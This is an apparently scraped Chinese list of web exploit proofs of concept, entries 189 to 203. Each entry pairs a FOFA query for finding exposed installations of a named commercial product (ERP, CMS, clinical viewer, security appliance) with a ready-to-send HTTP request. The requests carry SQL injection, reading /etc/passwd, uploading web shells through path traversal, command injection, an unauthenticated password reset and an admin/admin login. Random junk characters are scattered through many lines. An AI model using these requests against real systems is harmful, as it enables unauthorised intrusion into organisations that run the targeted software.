: k. ?4 u% U7 X( e4 Y1 t: E
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
( v1 p0 v9 U9 P/ YGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. A8 ?6 I! s- G- O' A* bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- D  x# y* S9 BAccept-Encoding: gzip, deflate
% z3 ]# q# S) y! }3 u. {Accept-Language: zh-CN,zh;q=0.9
Connection: close

% F, S/ U; |( J& B; K1 Z/ [
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
- E& Y" _% V' e* n# YFOFA：title=="短视频矩阵营销系统"
5 s: m( Q& p, W& FPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
- L) ^! l  W8 m! Y$ ^4 X- xHost: your-ip
: b! ^$ ]7 p& R! V3 r8 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. A: i$ y* c# V; ^+ i  wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

/ M5 J9 o5 ]9 W0 ]9 }( t5 ?& Npoi=file:///etc/passwd

0 K1 T1 a* D. F# A7 D2 w
" a* u/ [/ y! D/ ?+ A( I) M191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
) }5 N' i0 p# \9 F+ F5 rPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
" ?$ A4 d0 j# pHost: your-ip
6 U( O' ^' Z* C' [. v  ^$ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: l; }, }7 D4 C1 {: w/ bContent-Type: application/x-www-form-urlencoded

+ Z1 K  Y) J& a0 g- c# Y; O2 V" Ccommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
; U) t- y6 V8 a9 p1 TFOFA：title="用户登录_富通天下外贸ERP"
  h2 [* H7 {  J" D7 ?" ZPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

" V0 _$ L- [2 c+ d. j9 m! i: @
* ^1 L4 f) [' ^7 `/ g3 p# e! A<% @ webhandler language="C#" class="AverageHandler" %>
1 }, S* a. O/ ~. Gusing System;
8 \, O( E/ B! l2 q5 g9 ^1 v- Cusing System.Web;
9 t6 u. |" z7 ]2 U5 P% gpublic class AverageHandler : IHttpHandler
{
! G4 D8 j& m  J" {' [" X+ ~, epublic bool IsReusable
{ get { return true; } }
. ]0 N5 M8 A' K2 \3 g; W1 mpublic void ProcessRequest(HttpContext ctx)
{
, H0 k! a$ @; ?5 Ictx.Response.Write("test");
}
' S, _% o* V# c2 Q. b9 z% j}


; n/ R! k& {1 A7 W193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
; B, \2 t) C$ Y% u* `7 H; a% tFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

1 k# Q# c( G" }0 ]" H3 h, d
) ~( J: ~. L  U8 A* rPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
  t" a) c& O& [, s& L  X% v6 L$ y) UHost:
User-Agent: Mozilla/5.0
& Z& E8 C$ g" y" J) _+ YAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
. q& i, H2 v+ o* F( I" FCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
3 [1 Z- `  T/ v, XContent-Length: 84
6 n$ O* W) _* L) X7 |  \0 U
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

0 }3 b7 u& r8 ^  @
GET /master/img/config HTTP/1.1
Host:
5 \+ ]9 k6 o, `4 |9 _  B; i# {User-Agent: Mozilla/5.0
% m. q/ A/ ~# R& Q& E
7 l* H2 W$ ~+ @/ w6 c
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

0 J$ f8 u4 v. e7 w; X8 C( zPOST /servlet/uploadAttachmentServlet HTTP/1.1
$ Y6 C. e* n, r" X) l  G4 oHost: host
# |% u# J* e% [; PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 E7 X  y' Q' `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 S1 G5 G& l" K& F1 g8 w" L7 Y) qConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
8 P, V9 \  f4 f
3 R7 w) A- D$ Q+ w8 J6 YContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
( y, G4 m' ]. ?+ @  Z9 |; Q8 F  `# F<% out.println("hello");%>
, U/ g6 R& g1 a" T; d- g$ b# `------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
2 x- t" t* L) s! m {"iq":{"query":{"UpdateType":"mail"}}}
7 l9 P' H+ }6 [) z------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
; M5 G$ o% |0 u: q* e4 F2 w
5 \( U# F4 z/ o# `4 U( \
' w8 v* E1 {  b# H/ G195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
  R5 X7 |, S7 k/ `FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
2 o* b! O' {, W2 X. GPragma: no-cache
Cache-Control: no-cache
5 f+ @9 I7 D% L" w) B3 a* jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ \' x' o; j' `. I3 b  v% \Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
: R+ \7 i9 T3 N; C
/ S" E: e- N" v+ v: s4 F$ Q, {{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

8 o$ N8 z3 L. A% I# v7 p
" |2 p" c: e7 G3 Y4 G" X4 ]7 w% N$ R196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
! Z. U( E. s( L8 D1 H8 L/ K8 KPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) w) r) m; [' T: Y+ LContent-Type: application/json;charset=UTF-8
! s  @2 o% ~# v; c. R. |# k6 p0 jX-Requested-With: XMLHttpRequest
Host:
; h0 M; q! S% t/ a4 D0 CAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}
7 P; _" b3 c5 F  J4 m

8 H' g! X2 C7 O; N
3 x0 h# u/ k, i" B" n197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
, q, @" u1 [% f8 `7 [6 uFOFA：app="浙大恩特客户资源管理系统"
; S. w2 N5 A1 r. c% y, UGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
. z- o& I& g  q! VHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
0 d8 g, \; j9 K2 O* n& F1 D7 _


+ ]  _* K# I! _' ~198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
' v3 {: m' i; @# N% G2 AGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
0 V* L7 l: {; d0 s, A4 UCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
- k, I4 }- g, B* qAccept: */*
4 {8 Z- C+ C# d* w- x5 Y9 S7 qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
) k' B- r; v, M& V4 M" DConnection: close


199. cockpit系统assetsmanager_upload接口 文件上传
. ~4 h7 t# p" _+ \- n( r/ K' i. E
! E' b5 k6 v6 ^) ?9 V) v$ Q) e1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
: X+ w, e+ W' s1 Z0 @: ^& a1 ^! h6 T4 cGET /auth/login?to=/ HTTP/1.1

+ W7 t& @7 P- \1 M响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
6 M; X* A& F! H. U8 V$ x% F
2.使用刚才上一步获取到的jwt获取cookie：
6 r) t7 g& M" Y2 `- m
POST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
1 V" z' @& v4 `# N$ A1 G
响应：200，返回值:
( G) F) g$ Y( D% c/ B9 _Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
; K, q0 h* D# s) F! wPOST /assetsmanager/upload HTTP/1.1
2 D. f: d: C, @" R$ TContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
- f0 {/ D8 ~+ d8 dCookie: mysession=95524f01e238bf51bb60d77ede3bea92

, O/ C. d7 ^; m1 p3 g+ `  Q-----------------------------36D28FBc36bd6feE7Fb3
* O9 u8 f5 e! Q% ^. c. R+ uContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
' g& W- _3 k/ _$ ^( ^
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

( g# I6 Y. F7 n- V  p-----------------------------36D28FBc36bd6feE7Fb3--
6 Y* B  H4 i- o# F4 i+ P$ y  W
" F/ D" Z+ O6 A/ `" I* L5 k& `8 c" y
/storage/uploads/tttt.php
5 J! _" _7 W# L2 N# E
200. SeaCMS海洋影视管理系统dmku SQL注入
& _' i% w* c0 m, z" OFOFA：app="海洋CMS"
1 y# v* G* t; {, C: ]! zGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
1 @% Y# c0 M' y6 C  J) SUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; v. d8 N8 U! D0 Y& v* A) T3 v1 y. jAccept-Language: zh-CN,zh;q=0.9


6 F4 O" ^1 T2 k& I+ j201. 方正全媒体新闻采编系统 binary SQL注入
7 z6 [- X. y3 d. X7 B* I! RFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
! b3 K% X& T" o7 c# e* b# RContent-Type: application/x-www-form-urlencoded
' ]" K- N9 ^; m. F7 N5 R/ W8 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ G. a7 Z* Z3 ]6 z! R9 e
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
" x! d, g1 `% l2 t2 Z: @( i
' }. P' ^+ b+ `
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
$ ~+ p, E  W; v获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
: ^' d! D- I6 E2 KHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
! Y& ^+ ?% t% nContent-Length: 0

8 C7 S' m- B. V- p  N
替换__VIEWSTATE和__EVENTVALIDATION值
# _4 H: K' L# Y" Y% ePOST /User/AccountEdit.aspx HTTP/1.1
; D+ z  ^, Y9 ^Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
( e9 a0 D6 [2 V0 y- BContent-Disposition: form-data; name="__VIEWSTATE"
4 x+ u; v' w8 X
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

& N4 N; W6 b( P% _: O9 }% y; e__EVENTVALIDATION
7 M8 a. J! W* o% @- l* b& m( [9 [-----------------------------786435874t38587593865736587346567358735687
; ?# C+ }* c: J" }: D$ lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
! S( K* U0 u1 r- b' z-----------------------------786435874t38587593865736587346567358735687
# e/ h7 r  N/ I' i/ Y" ^0 bContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
5 ~, e& G9 G0 P6 Z5 z
上传图片
4 s! h1 F( G: _, d8 z# F; A* `' P-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

% O& b5 W/ C5 {& e, ]0 I3 V
-----------------------------786435874t38587593865736587346567358735687
9 i5 v- c" t) c1 @Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
$ s2 j, @1 Y3 g+ j
' F; N& y, q: @: b
-----------------------------786435874t38587593865736587346567358735687--
# P( c& K4 a9 i8 Q5 K
7 U1 N  y8 v# c- V. T
/_data/Uploads/1123.txt
$ ^/ @# n' v8 t6 y/ z# U4 U& k
6 B/ S- y2 W2 K0 G! x: h0 m203. 红海云EHR PtFjk 文件上传
! I# Y0 q9 E$ k) `) |FOFA：body="RedseaPlatform"
8 ?& o, e* n: H4 p2 h! DPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
, K: C* X5 |! M* i& ~Accept-Encoding: gzip
: i! ?! c! U1 R8 J/ [, w4 l# dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
) B! W1 x! R0 D9 X+ a+ y, rContent-Length: 210
0 V2 p( B% y2 D
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
+ u7 |- b0 A% y/ t; ]
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

* T& b; K0 _6 j& J2 k  G
$ k0 j- C$ |: ~7 N- _( v5 V


% f6 C: N8 Y- _* M
* M; I& E- |$ W